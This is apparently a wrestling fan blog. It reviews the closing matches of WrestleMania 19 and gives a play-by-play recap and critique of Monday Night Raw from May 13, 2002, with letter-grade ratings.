They slug it out in the corner to start with Booker having a slight advantage. HHH actually goes up top and gets arm dragged down. Out to the floor now and the champion goes into the post. Back in and a clothesline gets two for Booker. Now we talk about the Fink for no apparent reason. HHH sends Booker to the apron and rams his head into the post to take over.

Jerry keeps making prison/court jokes about Booker. Neckbreaker by HHH gets two and he lays in the shots. The fans chant for Booker so HHH hits a spinebuster on him to quiet that down and get two in the process. Big clothesline in the corner gets the same. Suplex gets reversed and Booker hits a DDT and Lawler makes fun of Booker again. Ross has to stop himself from saying GD which gets Lawler laughing.

Side slam gets no cover for Booker but a spinning forearm gets two. Sleeper by HHH doesn’t work but a high knee does. It’s been mainly the champion in control here. Facebuster connects but HHH walks into a spinebuster for two. HHH tries to go up again and jumps into a jump kick by Booker for two. Axe kick and side kick misses, the latter of which sends Booker to the floor.

Flair drills Booker’s knee into the stairs to give HHH something to work on. HHH busts out an inverted Indian Death Lock which you won’t see for years. HHH, love him or hate him, is almost as old school as you get. Off to a regular one as Booker is in trouble. For those of you unfamiliar, the best way I can put it is a Sharpshooter with the legs instead of the arms and legs and less torque on the back. It doesn’t matter as a rope is grabbed.

HHH tries to send him into the corner and Booker collapses. Knee crusher is reversed into a sunset flip for two as the fans pop big for it. Pedigree is countered but Booker is launched into the referee who stays down for about a second. Must not have been planned. Booker gets a jumping back elbow and his leg is fine now. Scissors kick puts HHH down as now the leg hurts again. That gets two.

Booker goes up but Flair interferes to let HHH get to Mr. T. Superplex is blocked and Booker hits the Harlem (Houston here) Hangover for no count as Flair puts the foot on the ropes. Naturally, as after all HHH isn’t allowed to lose the title for a very long time right? Booker’s knee gives way and HHH hits the Pedigree. Twenty five seconds later HHH puts his hand on Booker and retains. Well of course he does.

Rating: C+. This was around the time that HHH was trying to expand his moveset to include things like the sleeper, Indian deathlock and DDT. They’re ok, but he wanted them as extra finishers and that just didn’t work. It was a very weird time in his career right now and this match it the crowning glory of that time. It’s clear here that Booker wasn’t going to win the title and was being fed to HHH. If you want to see the time where people say HHH was taking over the company, here is exhibit A.

WM 20 is going to be at Madison Square Garden. That is where it belongs.

We recap Hogan vs. Vince. If Hogan loses, he retires…again. This is billed as 20 years in the making, despite this being the 19th year of Mania. The fight is over who should get the credit for Mania, both the Hulka and Wrestle varities. That’s a thread that was great when it was done and I’d like to see a replay of it.

Anyway, this is a street fight for obvious purposes. It’s also the match that sold this show, but in WWE logic, that can’t go on last of course as they didn’t learn from last year. While obviously this isn’t the entire story, the more I see of this the more I think Hulk should get more credit. Based on the video alone, this should be the main event.

Hulk Hogan vs. Vince McMahon

Hogan comes out to Voodoo Child. Are you serious? WWE owns the freaking rights to the most legendary theme song in wrestling history and they use Voodoo Child? The pop is barely even there which surprises me. The fans are into it, but there’s not much special.

To top it all off, he comes out first. Seriously? I know Vince isn’t a fan of Hogan’s but this is absurd. Once they say his name he gets a pop, but I really think the fans didn’t know who he was at first. Hogan, nice guy that he is, rips up a Vince Still Sucks sign.To say McMahon is ripped is an understatement.

Hogan takes him down with a clothesline to start and we get some “ground and pound.” Vince fights back and hammers away, working on the arm. They’re moving incredibly slowly right now too. The arm goes around the post as we talk about the steroids trial in the early 90s, which according to Stephanie was like 9/11. Test of strength goes on and Hogan fights back up.

They ram chests like Warrior and Hogan but once again Vince kicks him in the gut to bring him back to his knees. Vince having a muscular man on his knees. Make your own jokes here. Hogan fights up for the third time and gets kicked in the ribs again and sent to the floor. Vince hammers away even more and has been in control the majority of the match here.

Chair shot to Hogan misses and Vince is rammed into the post instead. The chair drills Vince as Hulk takes over for a bit. Vince is busted open so Hogan hammers away. Crowd is into this too. Another chair to the back and down goes Vince. Hogan misses a chair shot and the Spanish Announcer takes it in the head. That’s what he gets for putting stuff on their table I guess.

Low blow by Vince shifts control again and he grabs the chair. And now Vince sets up a ladder. This cannot end well at all. He sets it between the tables and Hogan is laid out on the Spanish Announce Table with a monitor shot to the head. Vince climbs up, does the hand to the ear, and drops a leg/hip onto Hogan, leaving both people laying.

After they lay around for about two minutes off of that, Vince rolls him back in and gets two for a big (although what should be an unsurprised) pop. Vince’s face is creepy from that. He goes under the ring and luckily finds a lead pipe. We get the famous shot of Vince’s crazy/evil eyes as he slowly rises up above the apron to get back in.

Hogan, ever the hero, gets a low blow to make Vince drop the pipe. A guy runs in through the crowd in a hood and pulls it off, revealing Rowdy Roddy Piper. Well he belongs in the discussion I guess. He picks up the pipe and drills Hogan with it, I guess being a heel. Piper is fat here too. Piper leaves and that gets two, putting us right back to where we were before Piper got here.

The referee steps on the pipe so Vince can’t use it. It’s a street fight so anything goes right? Vince drills him and waves down another referee. He gets two: an actual referee and the aforementioned French referee (future tag champion Sylvan Grenier). Another pipe shot and leg drop get two as Hulk Hulks Up. Down goes the French dude to the power of AMERICA. Hogan drops THREE leg drops and this is finally over.

Rating: B. While not the legendary classic it gets credit for, this was very fun indeed. Piper makes little to no sense to me at all here. Stupidly enough, it led to a feud between Hogan and Piper/Sean O’Haire. Really? Anyway, this was a very fun fight all day. I never really thought Vince would win, but it was fun to believe in him for awhile. Biggest flaw for me though: that stupid Voodoo Child song. HULK HOGAN’S MUSIC IS REAL AMERICAN. Anyone could tell you that. So freaking stupid.

Shane comes out to check on his dad. Yeah that’s all he’s here for. Seriously, he does nothing else.

We recap Rock vs. Austin. What recap do you need here? This match is the epitome of a grudge match. The idea here is simple: Rock has never beat Austin in a big match, namely at WM. He has done it all but defeat his arch rival and it’s killing him. This would have been so much more effective had it been 1-1 at Mania for them.

The problem for me was simple. So what if Rock wins? It’s still 2-1 Austin and Austin beat him twice for the title. That doesn’t exactly scream even to me. This is a weird thing to do here as Rock is finally (get it?) as big as Austin as far as star power despite Austin being so far past his prime he can’t even see it and Rock would be gone in a month, but he’s finally the true heel here and it’s one on one.

This whole match is built on Rock needing to win and getting more and more desperate to do it. They’re both nowhere near as good as they were 2-3 years ago, but they’re still very solid.

This gets the music video treatment but it doesn’t pack anywhere near the punch of My Way.

Steve Austin vs. The Rock

This is Austin’s last match as today. Austin comes off his fourth corner and turns around to see Rock waiting on him. This is the first time Austin came out second I think. There’s the bell and these two at Mania just feel right. They slug it out and Austin takes control, shocking no one. Stunner misses early and we hit the floor. We go to the Smackdown table with Austin beating Rock to death.

Rock goes into the steps and takes a belly to back suplex in the ring. We get into the wrestler vs. actor debate which is rather interesting indeed. This match has DQs mind you. Rock gets a shot to Austin’s knee which I think is his first offense of the match so far. Out to the floor again and Rock gets a second chop block to take Austin down.

After some more knee work on the floor Rock sends him into the ring again and stomps away. Austin fires off some punches but lowers his head and Rock takes the knee out again to stop Austin’s momentum. Sharpshooter goes on and Austin is in trouble. Hebner is the referee so I’d listen for a quick bell. Rock might take that….something or other to Hollywood and Vince might not get to make a bombing movie out of it.

Ross goes OFF on Jerry about talking about Hollywood so much. Rock wraps Austin’s leg around the post again and throws on Austin’s vest. Oh my stars and garter belts. Austin fights back and it’s a double clothesline to put both of them down. Back up and they slug it out with the knee seemingly fine again. I guess that’s a Texan thing. Thesz Press and Austin hammers away.

FU Elbow gets two, probably because it’s just an elbow drop. Austin stomps a mudhole but Rock hits a clothesline and nips up. Austin gets a Rock Bottom out of nowhere to the Rock as he’s still in the vest. That gets two. Stunner is blocked but Rock gets the Stunner for two of his own. That should be a scoring system in the event of a tie.

Rock hammers away but the final punch misses and it’s a Stunner by Austin for a long two. Austin tosses the referee away to get to Rock but Rock gets a low blow and it’s time for the People’s Elbow. Austin moves out of the way but can’t get another Stunner. The second People’s Elbow (minus the jacket) gets two, likely because it’s just an elbow drop.

Both guys are spent and Rock is getting up first. The fans are all over the Rock here. Rock Bottom hits but only gets two and a big pop. Rock is stunned. See what I did there? Another Rock Bottom somehow gets two and Rock doesn’t know what to do. A third Rock Bottom FINALLY ends Austin and the Rock has finally gotten the win at Wrestlemania over Austin.

Rating: B+. This is a tricky one. It’s a far cry from their epic wars before and is a joke compared to their match two years ago, but this was a different kind of match. I shortchanged this before but this is a very good match. Rock was the star here, which granted has to do with him being 30 and Austin being 39 here. They beat the tar out of each other and while Austin was a shell of his former self he was still good here. Good match and a good way to close out Austin’s career.

Austin gets the big sendoff as I think it was kind of understood that he was done at this point.

We recap Angle vs. Lesnar. Lesnar won the Rumble to get here and Kurt is champion. Kurt had thrown Team Angle at Lesnar a bunch and kept ticking Lesnar off, including switching places with his brother to get a pin on Brock in a title match. This is more or less a dream match and if anyone interferes, if Kurt gets counted out or disqualified, he loses the title.

Smackdown World Title: Kurt Angle vs. Brock Lesnar

And here we are. FINALLY it’s the last match of the show but the fans are so drained they don’t even know what’s going on anymore. Kurt had reinjured his neck but instead of being out for a year and you know, really getting it fixed, he got a quick fix, resulting in him likely being on the verge of death every time he gets in the ring. There was a real chance this was his last match. Cole’s voice is almost completely gone here. Lesnar of course has a rib injury. My goodness when did he not have a rib injury?

Brock debuted the night after Mania the year before (which was in mid March but we’ll call it a year still) so this is an incredible rookie year for him. We get both of their resumes and they’re incredibly impressive to say the least. Tito Ortiz is in the front row. All of a sudden a lot of the ground and pound and submission stuff just got a lot funnier.

Shocking no one they go to the mat and technical stuff early. It’s so weird to see guys that are awesome at what they do with that stuff and have it look this good. Angle tries the headlock but Lesnar easily overpowers him. Kurt is moving very gingerly here. Brock fires off those shoulders in the corner and gets a powerslam for two.

Angle snaps off a suplex but Brock is right back up almost immediately. Out to the floor with Kurt trying to run. By the power of Akbar though, IT’S A TRAP and Kurt drills Brock as he comes in to take over. Brock is like screw that and gets a gorilla press to take over again. Angle Germans Brock into the buckle in an awesome spot. Brock gets pounded down on the floor for a bit.

Belly to back gets two in the ring. A vertical version of it gets two as well. Kurt grabs a modified STF that has Brock in agony. It shifts off into a chinlock as Angle loses the leg hold. Modified camel clutch now which furthers the pain in the ribs. Can’t say Kurt doesn’t have psychology going for him. Brock stands up and rams Kurt’s back into the corner to break the hold.

Belly to belly by Kurt reinjures Lesnar’s ribs as does a knee to the back. A second sends Brock to the floor. Back in Angle runs into a spinebuster Brock comes back and hammers away with the power but runs into an elbow. BIG belly to belly sends Angle flying as does a second one. Those get two and probably another neck surgery for Kurt.

Angle grabs Rolling Germans out of nowhere, each time landing on the back of his head and neck. This time it’s 4 suplexes though and both guys are spent. Neither finisher can hit with the F5 being countered into the ankle lock. That gets shifted to the half crab which is probably a stupid move by Kurt given the position he had Brock in. Cole’s voice is gone. Get that man some tea.

Kurt charges but gets backdropped to the floor to give Brock a chance to breathe. Brock takes over but Angle gets one HECK of a German suplex, flipping Lesnar onto his stomach in the air for two. There go the straps and the Angle Slam hits, naturally, for two. Cole says that’s the first time anyone has kicked out of it. Something tells me that’s nonsense.

Brock counters another Slam attempt into a small package that Taz calls a Spladle or something like that. Yeah it was a small package. F5 out of nowhere gets two as the crowd is finally into this. Ankle Lock goes on and gets the grapevine. Wow so someone actually did escape this. Ankle lock is avoided, as is the Slam. HUGE F5 puts Angle down, but Brock goes up instead.

We now get the sickest looking spot in a good many years at any show as Lesnar, weighing nearly 300lbs and being dead tired goes to the top rope. Now when I originally watched this, I had seen Lesnar down in OVW use a shooting star press and it was the darndest thing I’d ever seen in a wrestling ring, but there was no way I could ever believe he would throw one out at Wrestle-freaking-mania.

Of course he did though, but he shows why he shouldn’t, as he under-rotates and lands on his head. I don’t care who you are, that is sick looking. Luckily Angle is smart enough to cover him here to keep the match going. Right there, if Lesnar had gotten pinned I don’t think anyone would have been able to say a word to him.

They show the replay from another camera angle and you can hear Taz absolutely freak over it. That was indeed one of the sickest looking things I’ve ever seen. Lesnar hits another F5 and gets the win. Post match, Lesnar’s eyes show that he is absolutely gone. He has no clue where he is and it looks bad. Angle shakes his hand and fireworks play us out. Clearly not the planned finish but they did what they could and it made sense given the circumstances.

Rating: A-. These guys nearly killed each other, literally. One of those suplexes goes bad and Angle dies, Lesnar nearly killed himself on the ending. This was a great match though, but the ending just stops it in its tracks and it really hurts things. Had that landed, this is a definite A. It’s certainly worth watching though.

Brock is handed the title and is absolutely gone. I doubt he knew his name at this point.

Overall Rating: B. This went back and forth for me. It’s definitely good, but it’s far from great. It ended well with the face taking the gold like he should have, but the booking for this show was absolutely terrible. What this show desperately needed was a first half main event. Look at your final five matches: HBK/Jericho (best wrestling on the card by far), HHH vs. Booker T (Raw Title), Street Fight (the real main event), Austin/Rock (no explanation needed) and Lesnar/Angle (SD Title).

You can clearly see the problem. There’s no chance at all to catch your breath here and it’s very draining. A filler, like say Taker’s match in between there somewhere and another like the triple threat tag match, or even the Raw Tag Titles from Heat would have nearly saved this show. Maybe a segment or something like that also. Either way, the second half of this show is WAY too packed and it hurts things badly. The show is good, but I’d watch it out of order. Recommended, but not as great as it’s made out to be.

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Monday Night Raw – May 13, 2002: Perhaps The Worst Raw I’ve Ever Seen

Monday Night Raw
Date: May 13, 2002
Location: Air Canada Center, Toronto, Canada
Commentators: Jim Ross, Jerry Lawler

This is another request due to the world title being on the line with Hogan defending against Flair. Why anyone in their right mind would want to see that match in 2002 is beyond me but people have strange tastes at times. Anyway other than that there’s not much here. I think this is the go home show for Judgment Day 2002. Let’s get to it.

We open with a clip of last week with Flair turning heel and beating Austin down with a chair. It’s Flair/Big Show vs. Austin at Judgment Day.

Brock Lesnar vs. Hardy Boys

This was Brock’s first feud. He’s already destroyed both of them one on one so this is the next logical step. Jeff jumps Brock to start. They have to tag here and Brock runs over Jeff very quickly. Jeff comes back with a running forearm as the fans chant for Goldberg. Off to Matt who comes off the top with a punch to the head. Now the fans chant for the Mapleleafs. Brock kills him with a belly to belly and the dominance continues. Off to Jeff who screws up his jawbreaker move twice before finally hitting it. The Hardys hit a double flapjack and a double shot from the top rope….and Heyman pulls the referee out for the DQ.

Rating: D. So it was a squash until the Hardys realized that they’re one of the best teams ever and then there’s a lame DQ loss for Lesnar. What was the point of this again? Well it sets up another match at the PPV with Heyman as Lesnar’s partner. What is that supposed to solve anyway? Whatever here, as Lesnar would move up the ladder quickly.

Brock kills Jeff post match but Matt saves him and they hit the Twist/Swanton combo. Heyman makes the challenge for the aforementioned tag match.

Pac and Big Show are in the back when Flair comes in. Flair says this is the start of the new era. Hall is fired but Nash is just hurt. There’s a new NWO member tonight and the guy doesn’t even know that he’s joining tonight. Free will isn’t a popular idea in WWE is it?

Here are Flair and Show in the ring for their explanation for last week. They’re both NWO here. JR rips Flair the whole time because Flair hurt JR’s BFF last week. Flair says that his name is Ric Flair and if you know anything about this business, you have to respect it. He’s a 16 world champion you know. That makes him about 15 times better than the Leafs. He says he has a real enforcer rather than the one the Leafs have.

Flair says he owns Raw which makes him very powerful. As for Austin, Flair drafted him and then he got Stunned for his efforts. Flair tried to be his friend and even gave him carte blanche but Flair got screwed with anyway. Austin is trash, just like the fans. Now Flair can sympathize with Vince for having to deal with Austin all those years. Austin has a giant to worry about now. Tonight, Flair is giving himself a world title match, because what do these young kids know right?

After a break we’re told that the match will be No DQ.

Hogan arrives on his motorcycle.

Shawn Stasiak vs. Eddie Guerrero

Stasiak is a little nuts here. Eddie is IC Champion but this is non-title. These two ran into each other earlier today while Stasiak was going on one of his crazy man rants. He’s from Planet Stasiak and Eddie thinks they grow weed on Planet Stasiak. That offended Shawn so here’s the match as a result. RVD, Eddie’s opponent on Sunday, comes out to watch. Eddie jumps Stasiak to start but Shawn takes him down. Gutwrench slam gets two. A suplex is countered and Eddie goes after the knee. Suplex, Frog Splash, pin. This was about a minute.

RVD jumps Eddie post match. Eddie grabs the mic and says that he’s going to prove he’s better. Pretty awful promo.

Coach goes looking for Austin but finds Debra instead. She says Austin wants to talk but says she’ll go get him for Coach. That’s later apparently.

Apparently later is now because Austin says Flair didn’t say anything important. This is in the height of the WHAT period so Austin speaks in very short statements. He’s not worried about Judgment Day and Flair doesn’t deserve a title match. He’ll be watching though.

Now, A Day In The Life Of Tommy Dreamer. This is during the Dreamer is a Freak stage, so we see things such as him shaving his tongue, drinking toilet water and sharing a toothbrush with his dog. Moving on.

Regal is here for commentary for the next match.

Terri vs. Molly Holly

Regal and Molly are dating or something. This is because of a swimsuit contest last week where Molly hit Terri with a flipper. Terri attacks her and hits the apex of her offense with a slam. Molly is a virgin which is all Lawler can talk about. This is horrible and Molly goes up and gets crotched. Terri hits a rana off the top (nothing special) but Molly rolls her up for the pin. If you think the Divas today are bad, Terri makes Kelly Kelly look like Ricky Steamboat.

Oh apparently Regal dating Molly starts here. Ok then.

WWE Undisputed Title: Hulk Hogan vs. Ric Flair

This is the world title match in 2002. Think about that for a minute. It’s No DQ as well. Hogan comes out on the motorcycle to further prove his mid life crisis. Hogan is a god in Toronto though so he gets a huge pop. To be fair, this is when Flair was 53 and he’s still in pretty decent shape, as is Hogan. It’s FAR better than when they’re in TNA and look about 80 each. Flair charges into him with doesn’t work at all.

Flair gets knocked down multiple times so he goes to get a chair which doesn’t work. He chops Hogan in the corner which goes even worse. Hogan pounds on him in the corner and we get the Flair Flop. He can’t do the Flair Flip though so he pokes Hogan in the eyes and goes up. Guess what happens next. Flair goes low and fires away in the corner. Out to the floor and Hogan takes over again with power, sending Flair into the steps face first.

Back inside and a thumb to the eye gives Flair control again. Hogan blocks the knee drop and hooks a Figure Four that Dusty Rhodes would say looks horrible. After Flair get the ropes, Hogan suplexes him for two. The chops still don’t work so Hogan Hulks Up (was he ever really in trouble?) and hits the boot and leg, drawing out the NWO. Bradshaw (why?) comes out to take out the NWO and Austin comes out to Stun Flair, setting up the legdrop for Hogan to retain.

Rating: D+. It’s Hogan vs. Flair which is the majority of the good stuff here. At the end of the day, Ric Flair is wrestling Hulk hogan for the world title in 2002 on Monday Night Raw, six days before Hogan defends against Undertaker on PPV. Does that seem like a problem to anyone else besides me? This was the year of nostalgia for WWE which resulted in HHH being world champion again by the fall, which is what it should have been over most of the summer. That would make too much sense though so we got this instead.

Flair goes on a rant in the back, the end results being Pac/Show vs. Bradshaw and Austin vs. the new NWO member in a lumberjack match.

Women’s Title/Hardcore Title: Trish Stratus/Bubba Ray Dudle vs. Jazz/Steven Richards

Trish and Bubba are the challengers. Only one title can change hands here I think. This is Toronto remember so Trish gets a huge reaction. This was set up because a blind Bubba powerbombed Trish through a table so that Steven could pin her to win the Hardcore Title. The genders have to match here. Bubba throws Trish onto the champions to start and the girls go first. Richards accidentally splashes Jazz and we get the face in the balls spot. Trish and Bubba bring in weapons but Trish can’t throw anything over the top.

Everything breaks down quickly and Steven takes a hockey stick to the crotch. Justin Credible comes out with a referee, as does Crash. Neither wins the title and various comedy spots follow. Bubba kills Justin with a guitar and Richards knocks Trish to the floor. Off to Jazz and Trish has to come in despite being out on the floor. The men have disappeared and Trish fumbles through some stuff before Stratusfaction gives her the title.

Rating: D. This show is so gimmicked it’s unreal. Now this should give you a good idea of how screwed up WWE was at this point. Trish wins the title here in Toronto from Jazz right? Less than two months earlier, they had a Women’s Title match in Toronto AT WRESTLE FREAKING MANIA, but they do the switch here instead? See how off they were in 2002?

Post match Trish says get the tables. Bubba powerbombs her through it, and by that I mean he jumps through it Jazz misses the table completely.

Undertaker has nothing to say. Literally. Hogan destroyed his motorcycle last week.

We run down the Judgment Day card. The card is stacked (Cell, hair vs. hair) but it wound up sucking.

Goldust and Booker are going to be lumberjacks tonight so Goldie sings the Lumberjack Song from Monty Python. Booker for some reason is in full lumberjack gear, complete with beard. Goldust thought Booker would look ravishing in it. These two were hilarious together.

X-Pac/Big Show vs. Bradshaw

Pac has stolen Kane’s mask in a story I don’t really remember. Pac starts and gets thrown around so Bradshaw demands Big Show get in. Show knocks him down and it’s back to Pac. Powerslam gets two for the future JBL. The crowd is QUIET for this, because it’s 2002 and Bradshaw is getting a singles push for some reason. Show pulls him to the floor and throws him into the steps and it’s back to X-Pac. This is going so slowly. Bradshaw kicks Show to the floor and hits the fallaway slam on Pac. Show grabs a chair and cracks Bradshaw in the back with it and two chokeslams for the pin.

Rating: D. This NWO stuff never went anywhere at all and a lot of that is because they had no one to fight. Austin was the top guy in the company in name only in 2002, Rock was gone, Hogan didn’t do anything but nostalgia, and guys like Bradshaw weren’t going to cut it as a top guy at this point at all. The crowd reaction in Toronto, one of the loudest cities ever, being this weak should tell you a lot.

Hogan goes to leave but Coach stops him to talk about undertaker. Hogan is in a leather jacket (clearly with extra padding) and a helmet that looks like it belongs in a war propaganda movie from World War I. He’ll be a lumberjack later, despite Flair saying he was handpicking the lumberjacks. Taker attaches Hogan to the motorcycle and drags him along. It looks ridiculous and they’re going at about the speed of a brisk jog.

Post break it’s still going on and Hogan crashes into cardboard boxes. Oh man that’s hardcore. Why keeps a wall of cardboard boxes like that anyway?

Post another break we see it AGAIN. Hogan is treated for a neck injury in the back.

Steve Austin vs. ???

Flair hasn’t told the new NWO member who he is remember. This is a lumberjack match remember. Austin beats up the lumberjacks to start but the NWO jumps him. Flair says the new member is Booker T, which is kind of a heel turn I guess. Booker takes over on Austin to start and hits the side kick to take him down. Austin comes back with a spinebuster for two as Bossman pulls him to the floor.

Austin fights the lumberjacks but Lesnar takes him down and rams him into the ring a few times. Back in Austin comes back like the stuff on the floor was nothing. Thesz Press gets no reaction so Show pulls Austin to the floor. Booker hits the axe kick and we get a Spinarooni, which allows Austin to come back again. Booker throws him to the floor AGAIN for the NWO to beat on him. We get a REALLY sloppy sequence that results in Austin ramming Booker into Flair and rolling him up the pin.

Rating: F. That’s probably extreme but let’s look at this here. First of all, there’s no reason for this match to happen. Booker T was literally picked with no motivation to fight Austin. On top of that, the majority of this match was Austin vs. the NWO/lumberjacks. Third, the match SUCKED.

As Austin leaves, Arn Anderson of all people jumps him and the NWO (minus Booker) beats him down to end the show.

Overall Rating: F. This was one of the worst shows I can remember in a long time. First and foremost, all of the matches sucked. Second, out of seven matches, TWO (Eddie vs. Stasiak and the Divas) weren’t gimmicked. Those were also the two shortest matches of the night. On top of that, the whole thing is about the NWO and the old guys. Keep in mind this: Booker was the second biggest face on Raw but now he’s NWO.

Other than him and Austin, the biggest face is probably Eddie (remember that the World Champion could be on both shows so Hogan wasn’t exclusively Raw) who would turn heel by the end of the month. That left, I kid you not, Bubba Ray Dudley, Bradshaw or Goldust as the second biggest face on Raw. Austin legitimately bailed on the company, prompting them to bring back Rock and send HHH to Raw to give it some face blood. He was turned heel by August. See why this was a bad time for Raw? Horrible show.

Here’s Judgment Day if you’re interested:

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